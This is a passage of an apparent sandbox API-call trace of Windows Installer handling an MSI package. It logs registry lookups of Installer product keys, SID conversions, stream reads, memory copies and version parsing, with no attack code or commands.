SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce4f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.659] ConvertSidToStringSidW (in: Sid=0x10ce4f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce4d0 | out: StringSid=0x10ce4d0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.659] LocalFree (hMem=0x3d5f40) returned 0x0 [0121.659] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.659] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.659] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce910 | out: phkResult=0x10ce910*=0x0) returned 0x2 [0121.659] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.660] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.660] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce910 | out: phkResult=0x10ce910*=0x0) returned 0x2 [0121.660] GetCurrentThreadId () returned 0xf50 [0121.660] GetCurrentThreadId () returned 0xf50 [0121.660] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce940 | out: phkResult=0x10ce940*=0x0) returned 0x2 [0121.660] lstrlenW (lpString="REINSTALL") returned 9 [0121.660] memcpy (in: _Dst=0x3caf60, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.660] lstrlenW (lpString="[~~~]") returned 5 [0121.660] lstrlenW (lpString="[~~~]") returned 5 [0121.660] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.661] memcpy (in: _Dst=0x3d5f50, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d5f50) returned 0x3d5f50 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d078, _Size=0x10 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3cb960, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cb960) returned 0x3cb960 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d132, _Size=0x8 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x376420, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376420) returned 0x376420 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d20e, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d220, _Size=0xc | out: _Dst=0x3cba80) returned 0x3cba80 [0121.661] memcpy (in: _Dst=0x3cb960, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cb960) returned 0x3cb960 [0121.661] memcpy (in: _Dst=0x3caf60, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.661] memcpy (in: _Dst=0x3cba80, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.662] memcpy (in: _Dst=0x3caf60, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0121.662] memcpy (in: _Dst=0x3cba80, _Src=0x33d284, _Size=0x2 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.662] memcpy (in: _Dst=0x3cba80, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.662] memcpy (in: _Dst=0x3caf60, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0121.662] memcpy (in: _Dst=0x3cba80, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x3cba80) returned 0x3cba80 [0121.662] memcpy (in: _Dst=0x3cb960, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cb960) returned 0x3cb960 [0121.662] lstrlenW (lpString="Feature") returned 7 [0121.664] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈏䗤䕸䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce830, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0121.664] CExposedStream::Stat () returned 0x0 [0121.664] GlobalLock (hMem=0xf400b8) returned 0x349540 [0121.664] CExposedStream::Read () returned 0x0 [0121.665] memcpy (in: _Dst=0x349544, _Src=0x35b17c, _Size=0x2 | out: _Dst=0x349544) returned 0x349544 [0121.665] memcpy (in: _Dst=0x349548, _Src=0x35b17e, _Size=0x2 | out: _Dst=0x349548) returned 0x349548 [0121.665] memcpy (in: _Dst=0x34954c, _Src=0x35b180, _Size=0x2 | out: _Dst=0x34954c) returned 0x34954c [0121.665] memcpy (in: _Dst=0x349550, _Src=0x35b182, _Size=0x2 | out: _Dst=0x349550) returned 0x349550 [0121.665] memcpy (in: _Dst=0x10ce908, _Src=0x35b184, _Size=0x2 | out: _Dst=0x10ce908) returned 0x10ce908 [0121.665] memcpy (in: _Dst=0x10ce908, _Src=0x35b186, _Size=0x2 | out: _Dst=0x10ce908) returned 0x10ce908 [0121.665] memcpy (in: _Dst=0x34955c, _Src=0x35b188, _Size=0x2 | out: _Dst=0x34955c) returned 0x34955c [0121.665] memcpy (in: _Dst=0x10ce908, _Src=0x35b18a, _Size=0x2 | out: _Dst=0x10ce908) returned 0x10ce908 [0121.665] CExposedStream::Release () returned 0x0 [0121.665] GlobalUnlock (hMem=0xf400b8) returned 0 [0121.665] lstrlenW (lpString="MSIUNINSTALLSUPERSEDEDCOMPONENTS") returned 32 [0121.665] memcpy (in: _Dst=0x3caf60, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.665] lstrlenW (lpString="[~~~]") returned 5 [0121.666] lstrlenW (lpString="[~~~]") returned 5 [0121.666] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.666] memcpy (in: _Dst=0x3d5f50, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d5f50) returned 0x3d5f50 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d078, _Size=0x10 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3cb960, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cb960) returned 0x3cb960 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d132, _Size=0x8 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x376420, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376420) returned 0x376420 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3caf60, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d20e, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3cba80, _Src=0x33d220, _Size=0xc | out: _Dst=0x3cba80) returned 0x3cba80 [0121.666] memcpy (in: _Dst=0x3cb960, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cb960) returned 0x3cb960 [0121.667] memcpy (in: _Dst=0x3caf60, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3caf60) returned 0x3caf60 [0121.667] memcpy (in: _Dst=0x3cba80, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.667] memcpy (in: _Dst=0x3caf60, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0121.667] memcpy (in: _Dst=0x3cba80, _Src=0x33d284, _Size=0x2 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.667] memcpy (in: _Dst=0x3cba80, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x3cba80) returned 0x3cba80 [0121.667] memcpy (in: _Dst=0x3caf60, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0121.667] memcpy (in: _Dst=0x3cba80, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x3cba80) returned 0x3cba80 [0121.667] memcpy (in: _Dst=0x3cb960, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cb960) returned 0x3cb960 [0121.669] wcstol (in: _String="0.7.0.0", _EndPtr=0x10ce910, _Radix=10 | out: _EndPtr=0x10ce910*=".7.0.0") returned 0 [0121.669] wcstol (in: _String="7.0.0", _EndPtr=0x10ce910, _Radix=10 | out: _EndPtr=0x10ce910*=".0.0") returned 7 [0121.669] wcstol (in: _String="0.0", _EndPtr=0x10ce910, _Radix=10 | out: _EndPtr=0x10ce910*=".0") returned 0 [0121.669] _vsnwprintf (in: _Buffer=0x10ce6f0, _BufferCount=0xff, _Format="%i.%i.%i", _ArgList=0x10ce6c8 | out: _Buffer="0.7.0") returned 5 [0121.669] lstrlenW (lpString="0.7.0") returned 5 [0121.669] lstrlenW (lpString="Native") returned 6 [0122.268] GetCurrentThreadId () returned 0xf50 [0122.268] GetCurrentThreadId () returned 0xf50 [0122.268] SetEvent (hEvent=0x170) returned 1 [0122.268] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.363] lstrcmpiW (lpString1="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", lpString2="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 0 [0122.363] SdbInitDatabase () returned 0x0 [0122.363] lstrlenW (lpString="_Property") returned 9 [0122.364] GlobalUnlock (hMem=0xf40038) returned 0 [0122.365] GlobalLock (hMem=0xf40038) returned 0x21dfee0 [0122.365] lstrlenW (lpString="Property") returned 8 [0122.365] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䕙䓲䕨䜷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce820, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0122.366] CExposedStream::Stat () returned 0x0 [0122.366] GlobalLock (hMem=0xf400b8) returned 0x21008a0 [0122.366] CExposedStream::Read () returned 0x0 [0122.366] memcpy (in: _Dst=0x21008a4, _Src=0x35b17c, _Size=0x2 | out: _Dst=0x21008a4) returned 0x21008a4 [0122.366] memcpy (in: _Dst=0x21008b0, _Src=0x35b17e, _Size=0x2 | out: _Dst=0x21008b0) returned 0x21008b0 [0122.366] memcpy (in: _Dst=0x21008bc, _Src=0x35b180, _Size=0x2 | out: _Dst=0x21008bc) returned 0x21008bc [0122.366] memcpy (in: _Dst=0x21008c8, _Src=0x35b182, _Size=0x2 | out: _Dst=0x21008c8) returned 0x21008c8 [0122.366] memcpy (in: _Dst=0x21008d4, _Src=0x35b184, _Size=0x2 | out: _Dst=0x21008d4) returned 0x21008d4 [0122.366] memcpy (in: _Dst=0x21008e0, _Src=0x35b186, _Size=0x2 | out: _Dst=0x21008e0) returned 0x21008e0 [0122.366] memcpy (in: _Dst=0x21008ec, _Src=0x35b188, _Size=0x2 | out: _Dst=0x21008ec) returned 0x21008ec [0122.366] memcpy (in: _Dst=0x21008f8, _Src=0x35b18a, _Size=0x2 | out: _Dst=0x21008f8) returned 0x21008f8 [0122.366] memcpy (in: _Dst=0x2100904, _Src=0x35b18c, _Size=0x2 | out: _Dst=0x2100904) returned 0x2100904 [0122.366] memcpy (in: _Dst=0x2100910, _Src=0x35b18e, _Size=0x2 | out: _Dst=0x2100910) returned 0x2100910 [0122.366] memcpy (in: _Dst=0x210091c, _Src=0x35b190, _Size=0x2 | out: _Dst=0x210091c) returned 0x210091c [0122.366] memcpy (in: _Dst=0x2100928, _Src=0x35b192, _Size=0x2 | out: _Dst=0x2100928) returned 0x2100928 [0122.366] memcpy (in: _Dst=0x2100934, _Src=0x35b194, _Size=0x2 | out: _Dst=0x2100934) returned 0x2100934 [0122.366] memcpy (in: _Dst=0x2100940, _Src=0x35b196, _Size=0x2 | out: _Dst=0x2100940) returned 0x2100940 [0122.366] memcpy (in: _Dst=0x210094c, _Src=0x35b198, _Size=0x2 | out: _Dst=0x210094c) returned 0x210094c [0122.366] memcpy (in: _Dst=0x2100958, _Src=0x35b19a, _Size=0x2 | out: _Dst=0x2100958) returned 0x2100958 [0122.366] memcpy (in: _Dst=0x2100964, _Src=0x35b19c, _Size=0x2 | out: _Dst=0x2100964) returned 0x2100964 [0122.366] memcpy (in: _Dst=0x2100970, _Src=0x35b19e, _Size=0x2 | out: _Dst=0x2100970) returned 0x2100970 [0122.366] memcpy (in: _Dst=0x210097c, _Src=0x35b1a0, _Size=0x2 | out: _Dst=0x210097c) returned 0x210097c [0122.366] memcpy (in: _Dst=0x2100988, _Src=0x35b1a2, _Size=0x2 | out: _Dst=0x2100988) returned 0x2100988 [0122.366] memcpy (in: _Dst=0x2100994, _Src=0x35b1a4, _Size=0x2 | out: _Dst=0x2100994) returned 0x2100994 [0122.366] memcpy (in: _Dst=0x21009a0, _Src=0x35b1a6, _Size=0x2 | out: _Dst=0x21009a0) returned 0x21009a0 [0122.366] memcpy (in: _Dst=0x21008a8, _Src=0x35b1a8, _Size=0x2 | out: _Dst=0x21008a8) returned 0x21008a8 [0122.366] memcpy (in: _Dst=0x21008b4, _Src=0x35b1aa, _Size=0x2 | out: _Dst=0x21008b4) returned 0x21008b4 [0122.366] memcpy (in: _Dst=0x21008c0, _Src=0x35b1ac, _Size=0x2 | out: _Dst=0x21008c0) returned 0x21008c0 [0122.367] memcpy (in: _Dst=0x21008cc, _Src=0x35b1ae, _Size=0x2 | out: _Dst=0x21008cc) returned 0x21008cc [0122.367] memcpy (in: _Dst=0x21008d8, _Src=0x35b1b0, _Size=0x2 | out: _Dst=0x21008d8) returned 0x21008d8 [0122.367] memcpy (in: _Dst=0x21008e4, _Src=0x35b1b2, _Size=0x2 | out: _Dst=0x21008e4) returned 0x21008e4 [0122.367] memcpy (in: _Dst=0x21008f0, _Src=0x35b1b4, _Size=0x2 | out: _Dst=0x21008f0) returned 0x21008f0 [0122.367] memcpy (in: _Dst=0x21008fc, _Src=0x35b1b6, _Size=0x2 | out: _Dst=0x21008fc) returned 0x21008fc [0122.367] memcpy (in: _Dst=0x2100908, _Src=0x35b1b8, _Size=0x2 | out: _Dst=0x2100908) returned 0x2100908 [0122.367] memcpy (in: _Dst=0x2100914, _Src=0x35b1ba, _Size=0x2 | out: _Dst=0x2100914) returned 0x2100914 [0122.367] memcpy (in: _Dst=0x2100920, _Src=0x35b1bc, _Size=0x2 | out: _Dst=0x2100920) returned 0x2100920 [0122.367] memcpy (in: _Dst=0x210092c, _Src=0x35b1be, _Size=0x2 | out: _Dst=0x210092c) returned 0x210092c [0122.367] memcpy (in: _Dst=0x2100938, _Src=0x35b1c0, _Size=0x2 | out: _Dst=0x2100938) returned 0x2100938 [0122.367] memcpy (in: _Dst=0x2100944, _Src=0x35b1c2, _Size=0x2 | out: _Dst=0x2100944) returned 0x2100944 [0122.367] memcpy (in: _Dst=0x2100950, _Src=0x35b1c4, _Size=0x2 | out: _Dst=0x2100950) returned 0x2100950 [0122.367] memcpy (in: _Dst=0x210095c, _Src=0x35b1c6, _Size=0x2 | out: _Dst=0x210095c) returned 0x210095c [0122.367] memcpy (in: _Dst=0x2100968, _Src=0x35b1c8, _Size=0x2 | out: _Dst=0x2100968) returned 0x2100968 [0122.367] memcpy (in: _Dst=0x2100974, _Src=0x35b1ca, _Size=0x2 | out: _Dst=0x2100974) returned 0x2100974 [0122.367] memcpy (in: _Dst=0x2100980, _Src=0x35b1cc, _Size=0x2 | out: _Dst=0x2100980) returned 0x2100980 [0122.367] memcpy (in: _Dst=0x210098c, _Src=0x35b1ce, _Size=0x2 | out: _Dst=0x210098c) returned 0x210098c [0122.367] memcpy (in: _Dst=0x2100998, _Src=0x35b1d0, _Size=0x2 | out: _Dst=0x2100998) returned 0x2100998 [0122.367] memcpy (in: _Dst=0x21009a4, _Src=0x35b1d2, _Size=0x2 | out: _Dst=0x21009a4) returned 0x21009a4 [0122.367] CExposedStream::Release () returned 0x0 [0122.375] GlobalUnlock (hMem=0xf40038) returned 0 [0122.375] GlobalReAlloc (hMem=0xf40038, dwBytes=0xf0, uFlags=0x2) returned 0xf40038 [0122.375] GlobalLock (hMem=0xf40038) returned 0x3bc3c0 [0122.377] GlobalUnlock (hMem=0xf40038) returned 0 [0122.377] GlobalReAlloc (hMem=0xf40038, dwBytes=0x12c, uFlags=0x2) returned 0xf40038 [0122.377] GlobalLock (hMem=0xf40038) returned 0x3bc3c0 [0122.379] GlobalUnlock (hMem=0xf400b8) returned 0 [0122.379] lstrlenW (lpString="MsiLogFileLocation") returned 18 [0122.380] lstrlenW (lpString="Control") returned 7 [0122.380] lstrlenW (lpString="PackageCode") returned 11 [0122.381] lstrlenW (lpString="RecacheTransforms") returned 17 [0122.381] lstrlenW (lpString="TRANSFORMS") returned 10 [0122.381] lstrlenW (lpString="TRANSFORMSSECURE") returned 16 [0122.382] lstrlenW (lpString="TRANSFORMSATSOURCE") returned 18 [0122.382] lstrcmpiW (lpString1="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", lpString2="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 0 [0122.382] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0122.383] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.383] GetCurrentThreadId () returned 0xf50 [0122.383] GetCurrentThreadId () returned 0xf50 [0122.383] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.383] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdef0, TokenInformationLength=0x58, ReturnLength=0x10cdee0 | out: TokenInformation=0x10cdef0, ReturnLength=0x10cdee0) returned 1 [0122.383] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdfd0, pSourceSid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.383] ConvertSidToStringSidW (in: Sid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdfb0 | out: StringSid=0x10cdfb0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.383] LocalFree (hMem=0x3d6b80) returned 0x0 [0122.383] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.383] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0122.383] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce530 | out: phkResult=0x10ce530*=0x0) returned 0x2 [0122.383] GetCurrentThreadId () returned 0xf50 [0122.383] GetCurrentThreadId () returned 0xf50 [0122.383] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.383] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdef0, TokenInformationLength=0x58, ReturnLength=0x10cdee0 | out: TokenInformation=0x10cdef0, ReturnLength=0x10cdee0) returned 1 [0122.383] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdfd0, pSourceSid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.383] ConvertSidToStringSidW (in: Sid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdfb0 | out: StringSid=0x10cdfb0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.384] LocalFree (hMem=0x3d5f40) returned 0x0 [0122.384] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.384] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0122.384] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce530 | out: phkResult=0x10ce530*=0x0) returned 0x2 [0122.384] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.384] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0122.384] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce530 | out: phkResult=0x10ce530*=0x0) returned 0x2 [0122.384] lstrlenW (lpString="ALLUSERS") returned 8 [0122.384] memcpy (in: _Dst=0x3caf60, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.384] lstrlenW (lpString="[~~~]") returned 5 [0122.384] lstrlenW (lpString="[~~~]") returned 5 [0122.384] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0122.384] memcpy (in: _Dst=0x3d5f50, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d5f50) returned 0x3d5f50 [0122.384] memcpy (in: _Dst=0x3caf60, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.384] memcpy (in: _Dst=0x35aaa0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.384] memcpy (in: _Dst=0x35aaa0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.384] memcpy (in: _Dst=0x3cb510, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.384] memcpy (in: _Dst=0x3caf60, _Src=0x33d09e, _Size=0x20 | out: 